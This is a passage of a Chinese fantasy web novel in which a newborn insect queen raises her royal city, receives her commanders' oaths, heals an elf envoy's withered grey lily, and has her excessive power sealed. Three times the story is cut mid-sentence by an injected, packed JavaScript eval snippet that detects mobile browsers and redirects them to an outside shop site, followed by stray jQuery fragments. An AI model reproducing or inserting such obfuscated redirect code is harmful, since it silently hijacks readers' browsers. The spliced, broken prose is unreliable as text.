也是在那个时候,伊索尔德才发现,原来自己所在的广场本身就是王城的一部分,只是不知道为什么遗落在了地面,王城甚至很好心地先开门把广场上的她们接了进去然后再以一种要撞击大气层的态度极速起飞。 它飞得太快了,无数景象从她们身边掠过,伊索尔德感觉只是眨了眨眼,自己就出现在了天空中,连星辰都触手可及。 伊索尔德目测了一下王城的高度,得出的结论是比其他城市高太多了,其他十六座城市被它远远甩在下面,从伊索尔德的高度看过去就像米粒。 ...总感觉这座城市有点霸道。 “这算是...”伊索尔德停顿了一下,“呼唤吗?” 感觉更像弹射这是可以说的吗...... 余莫名懂了王的言外之意,然而她的身份不允许她说出这种类似于编排王城的话语,最终只能艰难地笑了一下。她看起来无比真诚,“我觉得没有比这个词更合适的了。” 稍微有点晕的弗洛塔也默默点了点头。 “那...就这样了?还有什么是需要我做的吗?” “嗯,您可以,可以向虫族宣告一下您的诞生...”弗洛塔想了想。 “可是这里好高。”伊索尔德又往下看了看,“我觉得可能拿着大喇叭喊她们都听不见。” “怎么会需要喇叭呢!”弗洛塔震惊,“您可以直接用精神力呀,就像刚刚那样。” “噢...你是说让阿斯塔代替我告知她们。确实是个好主意,但是有件事我好像忘了说。” 伊索尔德看起来有些尴尬,“我刚刚用力过猛,暂时收不回来了。” 弗洛塔的身形晃了一下,看起来快晕倒了。 王虫急忙安慰她,“别急,我有个更好的主意。只要让她们知道这些事情都是我做的就好了,我很擅长这个的。” 她一边说,一边走到母亲的雕像面前,虔诚地闭上了眼。 母亲。她有些心虚地说,我想要摘一朵花。 一朵宝石雕琢的鲜花飞到了她的面前。 伊索尔德接过这朵花,轻轻吐出一口气。她想象着这朵花的形状和模样,并将它们灌注在自己那些遍布星球的精神力中。 夜空开始被一只无形的手描摹。它先是勾勒出了形状,紧接着又填充了色彩,所有生灵都看到了这朵花。无形的波动向四面八方散去,精神力模拟出了外形,又轻轻飘落在地。 在精神力不停起落的同时,一场史无前例的盛大花雨出现在阿斯塔星的每个角落。 真实的鲜花和虚构的鲜花同时降下,所有虫族停下了动作,向天空呼唤着。 新生而懵懂的王垂下眼,大片大片的鲜花随着她的视线延展开来,一直铺满整颗星球。 虫族相信自己被“母亲”庇护着。 在她睁开眼睛的那一刻,“母亲”已然赐福于她。 5. 鲜花与虫族与王 王城在高空稳固好之后,其余十六座漂浮在空中的城市也受到牵引,自发调整高度向其靠拢。大小不一的板块像拼图那样拼接在王城边缘延伸出的接驳口上,不停有各种沉闷的震动声从远处传来。 既弗洛塔和余之后,又一只虫族出现在了伊索尔德面前。 她的头发和眼睛都是雪一样的白色,宽大的外袍披在身上,像侍奉神明为其收集信仰的圣徒,浑身上下有一种不可思议的圣洁感。 伊索尔德好奇地看着她,发现她就是刚刚在庞大视野中一掠而过的虫族。 “您好。”白发虫族温和地朝伊索尔德笑了笑,她恭谨地在伊索尔德面前跪下,外袍在身下绽成一朵花,那双白色的眼睛里满溢着柔软的气息,看见她时,伊索尔德感觉十分安心。 “你好。你也是像弗洛塔和余一样的祭司吗?”伊索尔德示意她站起来,猜测她的身份。 伊索尔德注意到弗洛塔和余默默抖了一下身体,怂得就像老鼠看到猫。 白发虫族也注意到了,她轻飘飘投去一瞥,又转头好脾气地向王女解释自己的身份:“我是为您而诞生的侍者,您可以叫我塔纳斯。”接着,她神情一肃,“虽然有些冒犯,但是殿下您现在感觉如何,有没有头痛或者哪里不舒服?” “我觉得没什么不好。”伊索尔德也跟着认真了起来,“一定要说的话,我感觉有些饿?” “您没事就好。”塔纳斯松了口气,“等到接驳完成就会有专门的虫族来清扫王城,在此之前还请您等待片刻。” “如果是饿的话,您可以试试这个。”她想了想,伸手一点,面前就出现了许多金属矿石,它们被搁置在盘子里堆叠成了一座小山,每一块看上去都流光四溢,有着非常对得起外表的高昂价格。 所有矿石都被切成了四四方方的小块,如果只看外表,很容易把它们误认成糖果。 虫族是杂食动物,她们的食物来源非常广泛,各种动物植物无所不包,过分强大的消化系统使得她们甚至连星球的本源都可以吞下。 在过去,虫族经常以掠夺他族居住地为生。许多种族曾因为这件事与她们爆发过冲突,其中尤以人类最为冤大头。双方打生打死几百年,很长时间内都对彼此恨之入骨。不过在第十代王虫改良了虫族原始野蛮的觅食方式,又带着祭司们摸索着找出了可持续循环利用能量的方式后,两边就已经逐渐能心平气和地交谈。到了今天,甚至开辟了商路。 伊索尔德从递到自己面前的那些矿石中感受到了浓郁到凶暴的能量。 盘子里的矿石颜色众多,她捻起一块红色的放进嘴里试了试。 这是红玉石,被认为是最难加工的矿石之一,它坚硬到就算拿量子武器轰炸都很难破开一个口,每个上过实操课的机甲制作师里都曾经为此头疼。 但对伊索尔德来说也就那样,洁白如贝的牙齿上下咬合,红玉石轻易地碎掉了。 伊索尔德眼前一亮。 她本来以为石头会很一般,但却惊喜地发现味道非常不错,是甜丝丝的蜂蜜味。 “好吃。”伊索尔德发表了自己的评价。 “这是我的荣幸。”塔纳斯温柔地看着她开始一点点吃掉那些堆积成山的矿石,体会到了投喂王虫的幸福感。 矿石以肉眼可见地速度减少,塔纳斯笑眯眯看了一会儿,把弗洛塔和余带到了外边。 一离开王虫的视线,塔纳斯面上的神情就冷淡下来。 弗洛塔和余乖巧地跟在她身后,叫了一声老师。 塔纳斯不为所动,从神情到语气都冷酷无比,“你们让王虫驱使王城升天?” 弗洛塔和余对视一眼,不明白老师为什么要问这个问题。 “老师,这不是固定流程吗?”余弱弱地回答。 塔纳斯被气笑了,“你们没看到王虫才那么小?特殊情况特殊处理,应急预案第三十一条,背。” “如遇特殊情况,但凡与王虫相关,当第一时间报告。” “那为什么不说?”塔纳斯的目光严厉扫过她们,“呼唤王城需要庞大的精神力,连历代王虫都是在祭司陪伴下做好准备才进行这项流程,有时还会出现虚弱无力等情况。不管怎样,至少也要等到我或者至少两位军团长在场才可以,王虫不知道也就算了,你们也不知道吗!” 精神力会随着年龄的增长而越发强大,虽然也不是没有年幼时就天赋异禀的存在,但终究是少数。未知的背后是危险,每一代王虫出生时就已经成年,像伊索尔德这样的还是第一例。而如果她真的年幼,又没有足够的精神力支撑王城浮空,甚至有可能直接被抽干。 “老师,其实我有阻止,”弗洛塔默默地说,“但是王的精神力已经强到放出来那一刻我就动不了了。王甚至能把精神力凝聚成形......”她拿头也阻止不了啊。 弗洛塔小鸡啄米般点头,就王这个精神力水准和想到就做的行动力,想要阻止委实是一件有些困难的事。 塔纳斯蹙了蹙眉,“把你们见到王之后的事情说一遍。” 年轻祭司们你一眼我一语地说完了全部经过,听完后,塔纳斯的神情缓和了些,“我就说阿斯塔为什么会下雪,原来是诞礼。回去补交一份报告。” 弗洛塔脸上突然出现了一点为难。 “怎么了,有什么问题?” “不,老师。我只是突然想起来一件事...”弗洛塔艰难道,“我们还不知道王叫什么名字...” 这真是个非常好的问题,三只虫族都陷入了沉默。 “你们没问吗...”塔纳斯一字一句从牙缝里挤出这几个字。 “待在王身边太舒服忘记了。”余捂脸。 塔纳斯怒瞪她。 弗洛塔冷静地指出一个事实,“老师,你也忘了。” ...... 这个问题最终还是得到了解答。原因是伊索尔德看她们那么久还没回来就出去找虫了,在寻觅过程中发现有三只虫族整整齐齐站在墙壁前面面壁。她一时好奇,就凑过去看了看,知道为什么后稍微有点哭笑不得。 “我的名字是伊索尔德,你们想怎么叫都可以啦。之前是我忘记说了。”王虫善解人意地说,“我听到有脚步声过来了,应该是虫族,四只。她们现在就站在外面,不知道为什么还没进来。” “应该是军团长和科学院院长。”塔纳斯回答,“没有得到您的允许之前不会有虫擅自闯入王城的。” “这样啊。”伊索尔德思索了一下,“那我要怎么给她们许可呢,精神网络我现在还暂时接入不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467405|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直接说可以吗?” “我去替您告知她们。”顺便告诉她们王虫的名字。 “拜托你了,塔纳斯。”伊索尔德甜甜地笑了起来,看得塔纳斯有些控制不住想用光脑录像录下来,“你刚刚给我的糖果很好吃,还有吗?” “当然。”塔纳斯眼也不眨地又拿出了两盘子矿石,这次放在了弗洛塔和余的手上,“请您稍等,我马上就回来。” 片刻后,塔纳斯带着四只虫族走了进来。 塔纳斯逐一向伊索尔德介绍了她们的身份: “克索,科学院院长。主要负责武器研制。” 一个看起来温婉优雅的金发虫族向伊索尔德笑了笑,她单膝跪下,轻轻吻了吻伊索尔德的手背。 “为您效忠是我的荣耀。” “明栀子,第三军团。擅长情报收集与信息战。” 一个冷艳的蓝发大美人点点头,她拿出了一个蓝色的手绳,轻轻放在了伊索尔德的手上。 “它会保护您。” “于,第二军团。擅长近身格斗。” 散发着阴郁气息的黑发虫族塞给了伊索尔德一枚空间纽,里面堆满了各种能量浓郁的矿石。她不太擅长交际,尽力缓和面部表情后露出一个有些奇怪的笑。她挫败地揉了揉脸。 “塔纳斯说您喜欢这些...”接着,她低声说,“我将陪伴您直到死亡。” 最后一只虫族没等塔纳斯说话就率先自我介绍。她看起来十分阳光开朗,笑起来的时候像向日葵一样充满活力。 “纳斯,第一军团。我擅长拷问,如果您不喜欢谁的话请不要忘记告诉我。”说着,她拿出了一柄匕首,递到了伊索尔德面前。 “鲜血与死亡是我们的骄傲,希望它能成为您勋章的一部分。在王城回归的那一刻,我已经将一切交予您手中。愿为刀剑受您驱使。”她轻柔地说道。 在她说完之后,塔纳斯也走上前,她把自己的心脏交给了伊索尔德手中。那是一块石头,散发着柔和的白光,像玉石一样温润。虫族里的祭司可以将自己的心脏化作顽石放在体外,这是她们的忠诚与荣耀。 “塔纳斯,阿斯塔星的祭司。”她深深地看着王虫,“您就像星辰那样降临了,在母亲的庇佑下,阿斯塔星将无往不胜。” 伊索尔德收下了这五件珍贵的礼物。她看着她们,无形无色的精神力在她身边激荡,随着心念轻轻拂过她们的身体,悄无声息治愈了身体里的暗伤。 虫族喜爱着王,她们愿意为了王付出一切。 无与伦比的狂热被灌注在她们心中,那情感就像宝石一样亘古而不变。她们怀着这样的心情一直等待着,等待王虫的孵化,等待王虫的降临,等待自己见到她的那一天。 “我很高兴。”她轻轻地说。 在虫族等待着她的时候,她也在沉睡中等待着。 伊索尔德抬起手,目光看出很远。她不止在对着这里的虫族说话。 “我的名字是伊索尔德·阿斯塔。” 虚幻的花朵早在刚刚就已经化作微尘消失,但那些从天上降下、地面浮出的真实鲜花还柔柔地开放在大地之上。 “你们向我献上忠诚。我的一切也属于你们。” 每一朵花都落在了一只虫族的怀里。 6. 能力进阶 会面的时间并不长,毕竟还有许多事等待着她们去处理。这一回王虫降生的动静不同往常,可以说整个阿斯塔星都为之震动。虽然在虫族的威慑下没有谁敢于直接闹事,但是背地里的确有诸多暗流涌动。 几位军团长很快就被自己的副手叫走,只有于因为武力值最高作为王虫暂时的贴身侍从留了下来。 理论上这些事都应该由伊索尔德处理,但她很有自知之明,知道自己现在还没有任何政治经验,贸然上手只会给下属和自己都带来无穷无尽的麻烦,于是果断交给了塔纳斯负责,一切章程都还按以前的来。 暂时无事可做的伊索尔德只好在王城里开始熟悉自己未来的住所,王城实在太大,如果现在不多走一走,可能以后她在自己家里走两步就要找附近的侍从问一下路。 塔纳斯和克索跟在身后,时不时给她讲解一下某某地建筑的来历典故。走出不到半小时,伊索尔德感觉自己在虫族历史上已经有了长足的进步。 “叮。”清脆的通讯声从塔纳斯的终端上传来,克索和伊索尔德同时侧目。 “精灵族想要觐见殿下。”塔纳斯飞快看完了讯息,她看起来有点惊讶。 听完后,克索也露出了跟她差不多的神情。 伊索尔德问:“有什么问题吗?” “这很难说。”塔纳斯想了想,开始给伊索尔德补充起精灵族的相关知识,“精灵族跟我们一样是幻想种,目前由精灵女王提坦妮娅统治。他们推崇自然与艺术,一向与我们关系良好。阿斯塔星上常年有精灵族使者驻守。刚刚发来信息的就是现任使者,他的名字叫布兰,是女王的弟弟,刚刚上任三个月。” 伊索尔德停下来,“他有说原因吗?” “他想要为您献上礼物。”塔纳斯低声说,“这是传统,精灵族跟虫族关系很好,所以会给刚诞生的王虫献上贺礼。” “是时间不对吗?早了还是晚了?” “太匆忙了。”克索回答。“王虫也需要时间来适应,一般半个月之后才会开始对外界放出消息。” “唔...见一面吧。没关系,我大概知道他想要送给我什么。”伊索尔德无意识拨弄了一下手腕上的蓝绳,“我在阿斯塔的眼睛里看见过他...他看着一盆灰色的百合。那盆百合好像就要死了。” 塔纳斯:“灰色的百合花?” 克索微微睁大了眼,“您从阿斯塔的眼睛里看见过他?” “呃...是的?我不知道它在哪,所以只好用阿斯塔的眼睛找一找,”伊索尔德有些困惑,“难道不该这样做吗?” “只要您在心中喊它的名字,在抽取到足够多的精神力之后它就会出现的。一般来说,只需要等待。”克索说,“能够跟阿斯塔星沟通的天赋和力量...虽然塔纳斯应该已经粗略查看过您的情况了,但请允许我再问一遍,您是否有感到什么不适?我建议可以现在先去做个身体检查。” “有些饿。但是吃掉塔纳斯带来的食物之后好多了。我觉得身体检查可以等精灵族的事情处理完再去。”让使者一直等着好像不太好,而且她对那朵百合花还挺好奇的。 “殿下,您是母亲最天赋异禀的孩子。”克索用无比认真的语气对她说,“那一定意味着您有很重要的使命,我认为应该抽调于作为您的长期侍从。” 伊索尔德觉得这个职位安排未免过于随意了,“于不是有自己的军团吗?塔纳斯说这附近的星球比较乱,过几天军团长就要回去了。” “我没关系。”一直在后面装影子的于默默开口,“可以让副手接任。” “之后会选拔护卫队,在那之前可以先让于跟在您身边。”塔纳斯做了结论,引着王虫向接见使者的大殿走去——在伊索尔德表达了自己的意愿之后,她就立刻让附近的虫族赶去打扫了。 ...... 雕饰着各类奇花异草的宫殿里有一个男性精灵等待着。他独身前来,眼部以下被珍珠编织成的帘幕挡住,非常标准的精灵长相,金发碧眼,眉眼深邃,尖长的耳朵上佩戴着眼睛同色的耳坠。 他手中捧着一盆蔫巴巴的灰百合,看起来有些焦躁,跟塔纳斯礼貌地寒暄了几句之后就直奔主题。 “百合就要死了。”他说,“我知道虫族很擅长能量的转化和吸收,你们有什么办法吗?” 伊索尔德用询问的目光看向克索,后者的表情凝固了一下,小声说,“我很抱歉,但是我并不擅长治疗...”她比较擅长将能量聚集起来再一口气放出,那些杀伤力巨大的武器就是这样做出来的。 最跟这个话题沾边的虫族已经被排除在外,伊索尔德只好又去看塔纳斯。塔纳斯...塔纳斯其实也不擅长治疗,但是她可以找擅长的虫族来看看。但如果连擅长培育植物的精灵族都无能为力的话,她其实也不是很看好族内的医生。 几个行动匆匆的虫族走了进来,她们看到坐在高处的伊索尔德时眼睛里有一瞬爆发了巨大的光辉,很快又收敛神情,挨个凑过去查看灰百合的情况。 看完基本情况之后,她们开始小声交谈。 “根系受到了损伤,应该是曾经被强行拔起过。” “叶片很奇怪,上面有不属于植物的能量,而且还没有消失。” “吞噬的能力。” 最后一个看起来年纪稍轻的女孩下了结论:“应该是曾经遭受过黑木的袭击,就在最近这几天。” 布兰也听到了她们的交谈,他肯定了她们的判断,脸上流露出黯然的神情:“是的,就在奥维利亚港封闭前一天,有一伙流浪星盗趁我调配营养液的时候试图偷走灰百合。虽然最后没能成功,但是灰百合也因此受创。” “只要用蕴含生命的泉水浸泡就可以恢复。不用太担心。”一个虫族安慰他。 “但是这里离众绿之庭太远了。很难拿到‘花园’的泉水,”布兰叹息,“请问能够把上面外来的能量拔除吗?正是它们不断吞噬着灰百合的生机,就算我不断输送也没有办法。” 众绿之庭是精灵族的王庭所在,里面有跟母巢类似用以孕育生命的设施“花园”。据说“花园”里充满了生命的能量,是精灵们的圣地。 虫族们又交谈了一会。 “我们的能力不足以在不损伤百合叶脉的情况下完成这一工作,”其中一个有点愧疚地说,“虽然可以尝试,但是存活率恐怕很难说。” 灰百合对精灵族来说是十分重要的存在,大殿里一时陷入了沉默。 “给我看看。” 伊索尔德突然开口。 布兰有些惊异地看了一眼这位年纪尚小的王虫,将花盆小心翼翼递给了塔纳斯。 灰百合的花瓣有一半已经枯萎,另一半还勉强保持着生机。 错综复杂的能量在它身上不停流转,有一大团黑点像蛀虫那样聚在根部,吞吃着那些淡绿色的线条。 那应该是灰百合汲取能量的通道。已经堵塞成了这样...难怪看起来快要死了。 伊索尔德双手捧着这盆花,忽然轻轻伸手拂过叶片。 深绿色的能量柔缓地注入根部,眨眼间也被吃得一干二净。 “贪吃。”她小声嘀咕,然后又对着布兰和底下的虫族开口,“如果我灌注足够多的能量去冲开根部的黑点可行吗?”她对植物的了解仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467406|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 限于颜料,还是问问专家比较好。 “灰百合很能吃。”布兰有些迟疑,“但是理论上应该是可行的。” “殿下想要尝试的话,需要轻一点。不过我认为是完全可以的。”虫族说。王虫对精神力的操控之细微已经足以证明她对自身能力的控制力,只要看到过那些鲜花,就没有谁会怀疑她在这方面的天赋。 受到星系本身的影响,虫族的力量十分凶暴,如果不小心的话可能会直接辣手摧花,变成外交事故。 伊索尔德想了想,干脆站起来走到布兰的身边。她把花盆递过去,布兰自觉弯腰接在了手上。 “它比较喜欢你的气息。”伊索尔德解释了一下,“我先尝试一下。” “好的。”布兰严阵以待。 深绿色的能量越发浓郁起来,与精灵族充满亲和力的能量不同,属于伊索尔德的力量霸道又凶残。它仅仅是出现,就驱散了少部分的黑点。 但治标不治本,更多的黑点密密麻麻爬出来,张牙舞爪宣扬着自己的存在感。 伊索尔德开始灌注更多,细细的水流很快变成波涛不断的大河,它们一鼓作气,瞬间冲破了黑点组成了重重障碍。属于百合花自身的能量也紧随其后,趁着黑点被冲开迅速填补着本体的伤处。 灰百合的枝叶渐渐舒展开来,枯萎的花瓣簌簌落到泥土里,滋养着新长出的嫩叶与花。 它变得比刚刚更加鲜绿了,花瓣变成了富有美感的灰色,在大殿里的灯光照耀下光华流转如珍珠,不复刚刚死气沉沉的模样。 伊索尔德全神贯注,将被冲散的黑点分别聚成小团,尝试将它们拽出灰百合的体内。 她的瞳孔开始变得更加纤长,某一刻,眼睛变成了浓郁的黄金色泽。 泥沼质地的黑泥从灰百合体表渗出,它抖了抖身体,那些黑泥就扑簌落下,被早有准备的布兰用布巾接住,丢进了空间纽中。 灰百合看起来已经大好了,相信只要经过一段时间的修养,它就能恢复原样。 “太感谢您了。善良而尊贵的虫族之王,您永远拥有精灵族的友谊。”布兰郑重地行礼,把灰百合好好地收回了随身携带的空间纽中。 伊索尔德抿唇笑了一下,她看起来想说点什么,忽然揉了揉自己的额头。 “奇怪,为什么眼睛里看到的东西全是金色的...”她晃了晃身体,被冲过来的塔纳斯接住。 她埋在塔纳斯怀里,说话有点闷,“晕。” 布兰看起来已经慌乱得有些手足无措了,看起来比伊索尔德更害怕造成外交事故。 “殿下,这是因为您刚刚将能力开发到第二阶段了。”塔纳斯柔声说,“先睡一觉,醒来就会好了。” 所有幻想种都有自己独特的能力,虫族也不例外。这些能力会不断强大,积累到一定程度的时候,会表现出明显的进阶标志。放在王虫身上,就是色泽越发浓郁的金色眼瞳。 塔纳斯也没想到王虫会这么快将能力提升到第二阶段,她拢住王虫,示意克索去送客。 金发蓝眼的虫族耸了耸肩,带着布兰离开了。 于还留在原地,跟着塔纳斯一起将王虫送到寝殿。 “我值夜。”她有丰富的战斗经验,能够将一切妄图靠近王虫的不良因素消灭在摇篮之中。 塔纳斯点点头,黑发黑眼的虫族就消失在了黑夜之中。 巨大的月亮悬挂在天空之上,敏锐的五感让她捕捉到城外虫族们的欢笑。 她闭上眼,双手交叉在胸前,如同静立的神像。 “母亲...”她喃喃,“请您告诉我,她究竟有怎样的命运?” 7. 精神网络与身体检查 深黑的夜色里,伊索尔德蜷缩在柔软温暖的被子里,她微微皱眉,看起来睡得并不安稳。 细密微弱的疼痛如同枝蔓那样从大脑向外扩散,无数细针拓宽着她的意识海,精神力随之不断攀升,这种攀升的速度过于可怖,眨眼间就已经越过了第二阶的顶点,继续往上不断提升着。 她紧紧皱着眉,额头上渗出冷汗,微微发白的嘴唇被咬得流出血。 噼啪。 轻微的声响从她身体里传出,伊索尔德眉心裂开一道眼睛般的细纹。浅而细的裂纹逐渐拉宽加深,甚至能隐隐看到里面的血肉。更多轻响传出,就像碎掉的瓷器那样,伊索尔德的身体表面开始浮现出蛛网般的裂纹。那些裂纹很快出现,又很快被无形的力量抹平。 不断碎裂,不断愈合。 金色的血液已经浸湿了伊索尔德的白色长裙。 过于强大的力量早已超出了这具身体所能承受的极限,虫族天生的自愈能力和它互相角力,谁也不肯败下阵来。 伊索尔德感觉自己越发的痛了。 身体和意识似乎被一刀劈开,痛到极致之后,她反而失去了对痛苦的判断能力。身体上的裂纹依然在不断渗出鲜血,然而混沌的意识里却忽然出现一幅星图,无数闪着光的星星分布其上,它们的形状各不相同,却被银色的线条连接着。 她不自觉伸出手,那些星星亲昵地蹭着她的手背和脸颊,简直像在用尽一切力气讨好她,逗她开心,希望她的痛苦就此停止。 当她触碰到星星的时候,伊索尔德听到了声音。 那些星星正在安慰着自己。 “王...” “王很痛苦...” “对不起...母亲来不了这里。” 无数道声响窃窃私语,它们尽可能地贴到伊索尔德的身上,轻轻哼起摇篮曲。 星光和自愈能力一起填补着伊索尔德的身体,终于,伊索尔德的身体不再渗出鲜血。 痛苦的浪潮褪去,伊索尔德终于有力气开口说话,“这里是哪里?” “是精神网络。王,是死去之后的精神网络。” 以王的精神力为基底建立的精神网络能够无视星系距离链接所有虫族的脑域,它从虫族诞生起就使用至今,在历代王虫的不断努力下,精神网络的构建越发完善,功能也多种多样,基本上可以等于虫族内部的星网。而由于王虫诞生的时间很长,所以在最开始就添加了“王虫的死亡不会对精神网络造成致命影响,只是会空出最高权限的位置”的底层逻辑。 精神网络是王虫从出生就懂得的知识,但是她从不知道死去的虫族竟然也会有自己的精神网络。 她忽然有些不知道该说什么好。 犹豫半晌,她小声问道:“你们在哪里?” “我们是先王的子民,现在正在死去之后的地方。王,不必担心,虽然是意外才让我们在此相遇,但我们都很高兴看到您。” “该醒来了。外面已经发现了王虫制造的屏障,再不出去她们会担心的。” “我不知道该怎么醒过来。”伊索尔德迷茫地说,“我感觉很痛,醒来就在这里了。” “因为你的力量太强大了。”一道温和的声音说,“强大到就算是王虫的身体也很勉强。你本该一出生就成年的,是力量压迫了你的身体,让你的心智和身体都停留在幼年阶段。去找科学院的虫族做检查,她们会有办法的。” 那道声音说完,伊索尔德就感觉自己被轻轻推了一把。她的意识坠入漩涡,刚刚的记忆被卷得七零八落,只剩下几个不成句的关键词。 第一缕天光照耀在她床边,云霞浮在王城周围,将一切染上橘红色的色彩。 伊索尔德猛地睁开了眼睛。 已经完全转变为黄金色的眼瞳散发着微弱的光芒,她眼中空茫一片,看起来还像是在梦游。寝殿的门在她的目光下自动打开了,因为过于痛苦而无意识撑起的屏障碎裂不见,塔纳斯快步走进来,第一眼看到的就是穿着血衣的王虫。 伊索尔德从床上坐起,刚想说话就被大祭司抱起来,匆匆向科学院赶去。后者脸上的神情已经冷得快要成冰,但不是对伊索尔德,而是对自己没能及时发现王虫的异常情况而感到愤怒。 她轻轻拉了拉塔纳斯的衣袖,细声细气地说:“我没事,塔纳斯。只是能力进阶的后遗症...” 塔纳斯误以为王虫是害怕去医院,就像小孩子为了不吃药而说自己很健康,她尽力放柔了语气,哄着伊索尔德,“殿下,只是做检查。克索已经等在那里了。” “我知道。我不害怕。”伊索尔德乖乖点头,“塔纳斯,这不是你的问题,是我把屏障撑起来的。”王虫能够利用精神力制造屏障,除非比她的等级更高,否则没有任何虫族能知道里面发生了什么。 “我...”塔纳斯深深吸了一口气,低声说,“您流了很多血...床被都被打湿了,而我甚至不知道为什么。能力的进阶不应该造成这样的伤口,恐怕您身上还出现了别的情况。”她顿了顿,有些苦涩地说,“我应该提前考虑到的。” 毕竟这一代王虫从出生起就那样与众不同,不管是天赋还是外貌,似乎都在向虫族显示她必将拥有伟大而传奇的故事。 而在故事里,不凡与坎坷本就是无法分离的两个命题。 ...... 科学院离得很近,塔纳斯把伊索尔德送进诊疗室之后就一直目光沉沉地在外面等待,克索站在她身边,脸上的表情很不好看。 “我假设你知道发生了什么?”克索深吸一口气又吐出,为了缓解焦虑,她伸出手指在手腕上一拂,锋锐的蝴蝶刀被抽出,在她指尖翩翩起舞,泛着冷冽而危险的光。 塔纳斯出神了一会儿,半晌才开口,“殿下说只是能力进阶的后遗症。” “这不可能,”克索果断否定了,“能力进阶虽然会带来痛苦,但是很快就会消失,绝对不至于让王虫痛到要支起屏障的地步,刚刚做检查的时候你也看过报告,王虫的身体素质是正常的。虽然不知道为什么保持着幼年态,但是跟先代没有区别,甚至隐隐还要强一些。” “没错。是这样。”塔纳斯的脸上像蒙着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467407|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一层冰,“但还有另一种可能。” “什么可能?” 塔纳斯直视着克索蓝色的眼睛,慢慢地说:“殿下的力量过于强大,以至于连王虫的身体都无法承受。” “这。”克索的蝴蝶刀在自己手上划出一道血口,她恍若未觉,“这不可能。” “有先例的。”塔纳斯转过头,声音越发轻了,“第三代王虫,刚出生就夭折的王...你记得的。她只活了十三天,所遗留的手札至今依然影响着科学院,甚至直到现在还有太多未解之谜...那是多少年前的事情了?” “三千八百九十一年。她为空间折叠与大规模跃迁提供了理论基础和框架,我们只是完成。”蝴蝶刀在她指尖转得飞快,又在某一瞬间合拢,“殿下不会死。”她宣布,“虫族不会再有一位夭折的王。” 塔纳斯用陈述的语气说出这句话,“科学院突破了很多禁令。” “哈。”克索笑了一下,“这个时候还要计较那些事吗?” 塔纳斯沉默了一瞬,“你有什么办法?” “先看过报告再说吧。” 诊疗室的门打开了,伊索尔德正坐在里面静静地看着她们。 “塔纳斯,克索。不允许使用冰冻技术在我身上。” 王虫的诞生是有定数的,如果她本该死而没有死,下一代王虫就会推迟出生的日期,这会影响到整个虫族。 “殿下,活着才是最重要的。” “我知道,我也没有说要去死呀。”伊索尔德笑了一下,“先来看报告吧,我觉得会有别的办法的。” “殿下...” 伊索尔德抬了抬手,旁边的医生将刚刚出炉的报告摆在了塔纳斯和克索面前。 克索一目十行,发现结果跟塔纳斯猜测得差不多。聚集在王虫身体里的能量远超想象,昨天晚上的能力进阶甚至直接将伊索尔德推到了六阶,就像在一个容器中灌注了超出容量数倍的内容物,如果按照这样的速度下去,伊索尔德很快就会死亡。 “可以用封印。”等克索和塔纳斯看完报告之后,伊索尔德提出了自己的想法,“将我身体里的力量压缩到可以承受的地步,原本被压迫的身体就会自然成长,等到成年,我的身体就可以尽可能多的承受,应该还会有一些后遗症,但我认为可以接受。” 虫族里流传着一套封印力量的办法,原本是用在战场上剥夺他族能力的,但经过适度改良的话,也可以只封印部分力量。 既然伊索尔德被抑制在幼年期的身体都可以与成年王虫的素质相匹敌,那么等到她长大之后,更加坚韧的身体应该也能承受更多的力量。在那之前,只要不大规模动用能力,伊索尔德认为自己活到成年还是没什么问题的。 “会很痛苦。”塔纳斯将报告折叠成方块,“但是我支持您的决定。” “如果成年后...”克索沉默了一会儿,“不,没什么。就这样做吧。您的决断非常正确。” 伊索尔德眉眼弯弯,“那就请塔纳斯帮我做封印吧,虽然强大的力量也很好啦,但还是先活着比较重要嘛。” 8. 百合花冠 “殿下,你的头发?”克索目瞪口呆看着伊索尔德,又看了看王虫已经拖到地上的银发。 封印完成后,伊索尔德的眼睛就变回了最开始的深绿色,只是除此之外,她还收获了一头长到可以拖地的银发。 “塔纳斯说她没有办法把多余的力量直接消除,只有我长大后自己来,就干脆凝结成了身体的一部分。”所以严格意义上来说这些变多的不是头发,而是她暂时还不能动用的具象化力量。 伊索尔德费劲地抬头,原本与她等长的头发此刻长度更是惊人,如果不是塔纳斯帮忙托了一下,可能刚刚她从椅子上站起来的时候就会被自己绊倒。 诊疗室的外面有一面镜子,伊索尔德对着镜子侧身看了看,感觉有些牙疼。 “所以我以后真的有可能会被自己的头发包成一团。”她认真地说。 这种超长发看起来就很难打理,伊索尔德也不确定自己睡相如何,她都有些怕自己睡觉时无意识把头发扯成一团乱麻。 